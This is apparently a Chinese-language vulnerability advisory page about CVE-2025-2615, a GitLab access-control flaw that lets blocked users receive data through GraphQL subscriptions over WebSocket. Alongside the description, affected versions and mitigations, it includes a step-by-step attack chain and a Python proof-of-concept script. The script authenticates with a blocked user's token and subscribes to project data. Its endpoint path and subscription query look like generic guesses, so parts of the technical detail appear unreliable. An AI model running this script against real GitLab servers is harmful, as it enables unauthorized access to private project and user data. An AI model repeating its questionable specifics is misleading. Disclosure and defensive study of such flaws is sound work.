IPBUF安全漏洞报告
English
CVE-2025-2615 CVSS 4.3 中危

CVE-2025-2615: GitLab被阻止用户通过GraphQL订阅WebSocket访问敏感信息

披露日期: 2025-11-15

漏洞信息

漏洞编号
CVE-2025-2615
漏洞类型
访问控制绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab CE/EE

相关标签

访问控制绕过GraphQLWebSocketGitLab权限绕过信息泄露CVE-2025-2615

漏洞概述

CVE-2025-2615是GitLab发现的一个中等严重性安全漏洞。该漏洞存在于GitLab的GraphQL订阅功能中,影响所有从16.7版本开始到18.3.6之前、18.4版本到18.4.4之前以及18.5版本到18.5.2之前的GitLab社区版(CE)和企业版(EE)。漏洞的根本原因在于GitLab未能正确验证被阻止用户的访问权限。当一个用户被GitLab管理员阻止后,该用户理论上应该无法访问任何敏感资源或信息。然而,由于GraphQL订阅功能通过WebSocket协议实现,系统的访问控制检查存在缺陷,允许被阻止的用户仍然能够建立GraphQL订阅连接。一旦连接建立,攻击者可以订阅特定的GraphQL事件流,从而可能获取其他用户或项目的敏感信息,包括项目详情、代码片段、用户数据等。此漏洞的CVSS评分为4.3,属于中等严重性级别,主要影响系统的机密性。攻击者需要拥有GitLab账户(即使是已被阻止的账户)才能发起攻击,这降低了漏洞的利用门槛。该漏洞由[email protected]发现并报告,GitLab已于2025年11月12日发布补丁版本18.5.2、18.4.4和18.3.6来修复此问题。建议所有使用受影响版本的用户尽快升级到最新补丁版本以消除安全风险。

技术细节

该漏洞的技术根源在于GitLab的GraphQL订阅机制与WebSocket连接处理中的访问控制逻辑缺陷。在正常的用户管理流程中,当管理员阻止一个用户账户时,系统应该立即终止该用户的所有活动会话并阻止其进一步访问资源。然而,GitLab的WebSocket连接建立过程中,对GraphQL订阅请求的权限验证存在漏洞。具体来说,当被阻止的用户尝试通过WebSocket协议建立GraphQL连接时,系统未能正确检查用户账户状态。GraphQL订阅功能允许客户端实时接收服务器推送的数据更新,攻击者可以指定订阅特定的查询类型,如项目更新、问题追踪、代码提交等事件。一旦WebSocket连接建立并成功订阅,攻击者就能持续接收敏感数据流。漏洞利用的关键在于:WebSocket握手机制与HTTP认证是分离的,且GraphQL订阅的生命周期管理未与用户状态变更同步。这意味着即使用户在连接建立后被阻止,已建立的订阅连接可能仍然保持活跃状态。此外,GraphQL的订阅机制使用特定的协议(graphql-ws或subscriptions-transport-ws),这些协议在连接初始化时的验证不够严格,未能强制检查用户账户状态。攻击者只需要一个已被阻止的账户凭证即可发起攻击,无需特殊的权限或复杂的攻击准备。

攻击链分析

STEP 1
步骤1
攻击者获取或使用一个已被GitLab管理员阻止的用户账户及其访问令牌
STEP 2
步骤2
攻击者通过WebSocket协议尝试连接到GitLab的GraphQL端点,使用被阻止账户的令牌进行身份验证
STEP 3
步骤3
GitLab服务器未能正确验证用户状态,允许被阻止用户的连接初始化请求通过
STEP 4
步骤4
攻击者发送GraphQL订阅请求,订阅敏感数据流,如项目更新、问题追踪、用户活动等
STEP 5
步骤5
通过建立的WebSocket连接,攻击者持续接收敏感信息,实现对系统数据的未授权访问
STEP 6
步骤6
攻击者收集、整理获取的敏感数据,可能用于进一步的攻击或数据泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-2615 PoC - GitLab Blocked User GraphQL Subscription Bypass Note: This PoC is for educational and authorized testing purposes only. """ import asyncio import websockets import json import base64 async def exploit_gitlab_graphql_subscription(gitlab_url, blocked_token): """ PoC for exploiting blocked user GraphQL subscription via WebSocket """ ws_url = gitlab_url.replace("https://", "wss://").replace("http://", "ws://") ws_url += "/-/graphql-explorer" headers = { "Authorization": f"Bearer {blocked_token}", "Sec-WebSocket-Protocol": "graphql-ws" } try: async with websockets.connect(ws_url, extra_headers=headers) as ws: # Step 1: Initialize connection with 'connection_init' init_message = { "type": "connection_init", "payload": { "authorization": f"Bearer {blocked_token}" } } await ws.send(json.dumps(init_message)) # Step 2: Receive connection_ack response = await ws.recv() print(f"[+] Connection response: {response}") # Step 3: Subscribe to sensitive data subscribe_message = { "id": "sensitive-data-sub", "type": "subscribe", "payload": { "query": "subscription { project(fullPath: \"sensitive-project\") { id name } }", "variables": {} } } await ws.send(json.dumps(subscribe_message)) # Step 4: Receive subscription data (if vulnerable) print("[+] Waiting for subscription data...") for _ in range(5): data = await asyncio.wait_for(ws.recv(), timeout=10) print(f"[+] Received: {data}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 3: print("Usage: python3 cve_2025_2615_poc.py <gitlab_url> <blocked_user_token>") sys.exit(1) asyncio.run(exploit_gitlab_graphql_subscription(sys.argv[1], sys.argv[2]))

影响范围

GitLab CE/EE 16.7 至 18.3.6 之前版本
GitLab CE/EE 18.4 至 18.4.4 之前版本
GitLab CE/EE 18.5 至 18.5.2 之前版本

防御指南

临时缓解措施
如果无法立即升级,可考虑暂时禁用GraphQL订阅功能,或通过防火墙规则限制WebSocket端点的访问。同时,应审查并确保被阻止用户的会话令牌已被完全撤销,并加强WebSocket连接的认证和授权检查机制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表